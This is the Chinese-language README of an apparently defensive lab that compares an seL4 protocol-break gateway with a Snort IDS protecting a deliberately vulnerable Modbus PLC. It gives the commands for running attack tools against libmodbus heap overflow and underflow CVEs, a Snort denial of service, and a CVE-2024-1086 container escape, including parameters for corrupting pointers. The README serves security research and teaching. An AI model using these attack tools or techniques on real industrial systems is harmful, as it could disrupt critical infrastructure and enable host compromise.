一个防御性安全研究项目,比较**协议中断(protocol-break)与数据包转发(packet-forwarding)**架构在保护工业控制系统免受网络攻击方面的优劣。
文档:
现代 ICS/SCADA 系统面临诸如 FrostyGoop 之类的复杂攻击——该恶意软件于 2024 年 1 月通过 Modbus TCP 攻击乌克兰的区域供热系统,导致 600 多个家庭在零度以下的气温中失去供暖。传统安全解决方案(防火墙、IDS)采用数据包转发架构,虽然能在线检查流量,但会维持一条端到端的 TCP 连接。
本项目演示了一种替代方案:使用经过形式化验证的 seL4 微内核 构建的协议中断网关。该架构通过终止 TCP 连接,并在与受保护设备建立新连接之前校验协议语义,从而提供更强的安全保证。
| 方面 | 协议中断(seL4) | 数据包转发(Snort) |
|---|---|---|
| CVE-2019-14462 | 已阻断(长度校验) | 已检测(Quickdraw 规则) |
| CVE-2022-0367 | 已阻断(地址校验) | 已检测(自定义规则) |
| CVE-2022-20685 | 免疫(无预处理器) | 易受攻击(IDS DoS) |
| CVE-2024-1086 | 免疫(无 Linux 内核) | 易受攻击(共享宿主内核) |
| 未知变种 | 已阻断(结构校验) | 漏报(无签名) |
| TCP 状态攻击 | 已阻断(连接已终止) | 可能 |
| 攻击面 | 约 1,000 行代码(微内核) | 约 500,000 行代码(Linux + Snort) |
┌─────────────────────────────────────────────────────────────────────────────┐
│ Docker Network: ics-untrusted (192.168.96.0/24) │
│ │
│ ┌───────────────────────┐ ┌───────────────────────┐ │
│ │ seL4 Gateway │ │ Snort IDS │ │
│ │ Port 502 │ │ Port 503 │ │
│ │ │ │ │ │
│ │ • Protocol-break │ │ • Packet-forwarding │ │
│ │ • TCP termination │ │ • Inline inspection │ │
│ │ • Length validation │ │ • Rule-based detection│ │
│ └───────────┬───────────┘ └───────────┬───────────┘ │
│ │ │ │
├───────────────┼───────────────────────────────┼─────────────────────────────┤
│ Docker Network: ics-protected (192.168.95.0/24) │
│ │ │ │
│ └───────────────┬───────────────┘ │
│ ▼ │
│ ┌───────────────────────────────┐ │
│ │ PLC (District Heating) │ │
│ │ Vulnerable libmodbus 3.1.2 │ │
│ │ Port 5020 (direct access) │ │
│ └───────────────────────────────┘ │
└─────────────────────────────────────────────────────────────────────────────┘
# Place your seL4 kernel image at:
gateway/sel4-image/capdl-loader-image-arm-qemu-arm-virt
# Build all containers
sudo docker compose build
# Start individual containers
sudo docker compose up plc # PLC only
sudo docker compose up gateway # seL4 gateway + PLC
sudo docker compose up snort # Snort IDS + PLC
# Start all
sudo docker compose up
# Through seL4 gateway (protected - protocol-break)
echo -ne '\x00\x01\x00\x00\x00\x06\x01\x03\x00\x00\x00\x01' | nc localhost 502 | xxd
# Through Snort IDS (protected - packet-forwarding)
echo -ne '\x00\x01\x00\x00\x00\x06\x01\x03\x00\x00\x00\x01' | nc localhost 503 | xxd
# Direct to PLC (unprotected - vulnerable)
echo -ne '\x00\x01\x00\x00\x00\x06\x01\x03\x00\x00\x00\x01' | nc localhost 5020 | xxd
注意: 默认 PLC 现在以 ASAN 运行在 CVE-2022-0367 模式。测试 CVE-2019-14462 时请使用
--profile cve14462。
PLC 使用刻意引入漏洞的 libmodbus 3.1.2。该攻击利用受信任的 MBAP 长度字段:
# Start PLC in CVE-2019-14462 mode
sudo docker compose --profile cve14462 up plc-14462
# Build attack tools
cd cve_tools && make
# Attack unprotected PLC (crashes)
./cve_14462_attack 127.0.0.1 5022
# Attack through seL4 (BLOCKED)
./cve_14462_attack 127.0.0.1 502
# Attack through Snort (DETECTED by Quickdraw rules)
./cve_14462_attack 127.0.0.1 503
modbus_mapping_new_start_address() 中的一个边界检查缺陷允许通过功能码 0x17(写多个寄存器并读多个寄存器)触发堆下溢:
# Default PLC runs in CVE-2022-0367 mode with ASAN
sudo docker compose up plc
# Build attack tools
cd cve_tools && make
# Attack PLC - ASAN will detect heap-buffer-overflow
./cve_0367_attack 127.0.0.1 5020
# Attack with custom parameters
./cve_0367_attack 127.0.0.1 5020 88 0x4141 # Corrupt tab_registers pointer
./cve_0367_attack 127.0.0.1 5020 72 0xFFFF # Corrupt nb_registers
# Attack through seL4 (BLOCKED - address validation)
./cve_0367_attack 127.0.0.1 502
# Attack through Snort (DETECTED by custom rules)
./cve_0367_attack 127.0.0.1 503
技术细节:
start_registers=100,有效地址为 100-109write_address < 100,导致数组索引为负mb_mapping 结构体字段,包括指针Snort 2.9.18 的 Modbus 预处理器存在一个整数溢出问题,会导致无限循环,从而完全阻断通过该 IDS 的所有流量:
# 1. Verify Snort is working (should return Modbus response)
echo -ne '\x00\x01\x00\x00\x00\x06\x01\x03\x00\x00\x00\x01' | nc -w 2 localhost 503 | xxd
# 2. Attack the Snort IDS
./cve_20685_attack 127.0.0.1 503
# 3. Verify Snort is frozen (should timeout with NO response)
echo -ne '\x00\x01\x00\x00\x00\x06\x01\x03\x00\x00\x00\x01' | nc -w 5 localhost 503 | xxd
# 4. Check Snort CPU (should be 100%)
sudo docker exec ics-snort top -b -n 1 | grep snort
# 5. seL4 is IMMUNE (no Modbus preprocessor to exploit)
./cve_20685_attack 127.0.0.1 502 # No effect on seL4
# 6. Restart Snort after demo
sudo docker compose restart snort
为何影响巨大: Snort 使用 NFQUEUE 内联模式,意味着数据包会一直滞留在内核队列中,直到 Snort 返回判定结果。当 Snort 挂起时,不会返回任何判定,所有流量都会停止——这不仅是 IDS 失明,而是彻底的拒绝服务。
Linux netfilter nf_tables 中的一个释放后使用(use-after-free)漏洞(影响内核 v5.14-v6.6)可导致容器逃逸:
# Check if host is vulnerable
uname -r # Vulnerable: v5.14 - v6.6 (before patches)
# The exploit is available at:
ls cve_tools/cve-2024-1086/
为何这很重要: Docker 容器共享宿主内核。如果攻击者攻陷了 Snort(例如通过 CVE-2022-20685),就可能利用 CVE-2024-1086 逃逸容器并获取宿主机 root 权限。seL4 对此免疫,因为它运行的是极简微内核,而不是 Linux。
# Full demo with 4 quadrants (PLC, seL4, Snort, User terminal)
./scripts/demo.sh
# Snort-only demo with 3 panes (PLC, Snort, User terminal)
./scripts/demo-snort.sh
# Run automated comparison
./scripts/run_comparison.sh
提供了多种 Snort 配置,用于基准测试检测效率:
# Run Snort with specific profile
sudo docker compose --profile snort-talos up
# Compare detection efficiency
sudo docker compose --profile snort-quickdraw up -d
./cve_tools/cve_0367_attack 127.0.0.1 503 # Test detection
sudo docker compose --profile snort-quickdraw down
sudo docker compose --profile snort-combined up -d
./cve_tools/cve_0367_attack 127.0.0.1 503 # Test detection
sudo docker compose --profile snort-combined down
Client ────TCP────► Snort ────TCP────► PLC
(same connection flows through)
Client ────TCP1────► seL4 ────TCP2────► PLC
(terminates, validates, new connection)
PLC 模拟了一个支持多主站的区域供热控制器(采用每客户端一线程的架构,这是现代 PLC 的典型做法)。
| 模式 | 服务 | 端口 | 说明 |
|---|---|---|---|
| CVE-2022-0367 | plc(默认) | 5020 | ASAN 构建,寄存器位于地址 100-109 |
# Default mode (CVE-2022-0367 with ASAN)
sudo docker compose up plc
# CVE-2019-14462 mode
sudo docker compose --profile cve14462 up plc-14462
在 CVE-2022-0367 模式下,寄存器位于地址 100-109(在 SCADA 工具中使用地址 40101):
本项目包含刻意引入漏洞的代码,用于防御性安全研究。包含存在漏洞的 libmodbus 3.1.2 和 Snort 2.9.18 旨在演示安全概念。
请勿在生产环境中部署未受保护的组件。
仅限经授权的防御性安全研究与教育用途。
| 端口 | 路径 | 架构 | 防护 |
|---|
| 502 | 客户端 → seL4 → PLC | 协议中断 | 校验 Modbus 结构 |
| 503 | 客户端 → Snort → PLC | 数据包转发 | 基于规则的 IDS |
| 5020 | 客户端 → PLC(ASAN) | 直连 | CVE-2022-0367 模式 |
| 5022 | 客户端 → PLC | 直连 | CVE-2019-14462 模式(profile: cve14462) |
| 配置 | 命令 | 规则数 | 说明 |
|---|
| default | docker compose up snort | 12 | Quickdraw(行业标准) |
| quickdraw | --profile snort-quickdraw | 12 | 仅 Digital Bond Quickdraw |
| talos | --profile snort-talos | 40 | Talos 风格,带 modbus_func 关键字 |
| modbus | --profile snort-modbus | 13 | 仅自定义 CVE 检测规则 |
| combined | --profile snort-combined | 65 | 所有规则组合 |
| CVE | Quickdraw | Talos | 自定义 Modbus |
|---|
| CVE-2019-14462(MBAP 长度) | ✅ | ✅ | ✅ |
| CVE-2022-0367(堆下溢) | ✅ | ✅ | ✅ |
| CVE-2022-20685(Snort DoS) | ❌ | ✅ | ✅ |
| 写操作 | ❌ | ✅ | ✅ |
| 侦察 | ✅ | ✅ | ✅ |
| DoS 功能码 | ✅ | ✅ | ❌ |
| 目录 | 说明 |
|---|
gateway/ | seL4 网关容器(QEMU + seL4 内核) |
snort/ | 带多种规则配置的 Snort 2.9.18 IDS(易受 CVE-2022-20685 攻击) |
plc/ | 区域供热模拟(易受攻击的 libmodbus 3.1.2,CVE-2022-0367 模式) |
cve_tools/ | 用于 CVE 演示的攻击工具 |
scripts/ | 工具与实验脚本 |
docs/ | 带 Mermaid 图的文档(网络、容器、CVE) |
| 工具 | 目标 | 说明 |
|---|
cve_14462_attack | libmodbus | 通过 MBAP 长度不匹配触发堆缓冲区溢出 |
cve_0367_attack | libmodbus | 通过无效写入地址(FC 0x17)触发堆下溢 |
cve_20685_attack | Snort | Modbus 预处理器无限循环(DoS) |
cve-2024-1086/ | Linux 内核 | 通过 nf_tables 权限提升(容器逃逸) |
| CVE-2019-14462 |
plc-14462 |
| 5022 |
| 普通构建,寄存器位于地址 0-9 |
| 地址 | 寄存器 | 说明 | 读/写 |
|---|
| 100 | HR[0] | 室内温度(°C ÷10) | 读 |
| 101 | HR[1] | 阀门指令(0-100%) | 读/写 |
| 102 | HR[2] | 温度设定值(°C ÷10) | 读/写 |
| 103 | HR[3] | 模式(0=手动,1=自动) | 读/写 |
| 104 | HR[4] | 室外温度(°C ÷10) | 读 |
| 105-109 | HR[5-9] | 状态、位置、供水温度、运行时间、功率 | 读 |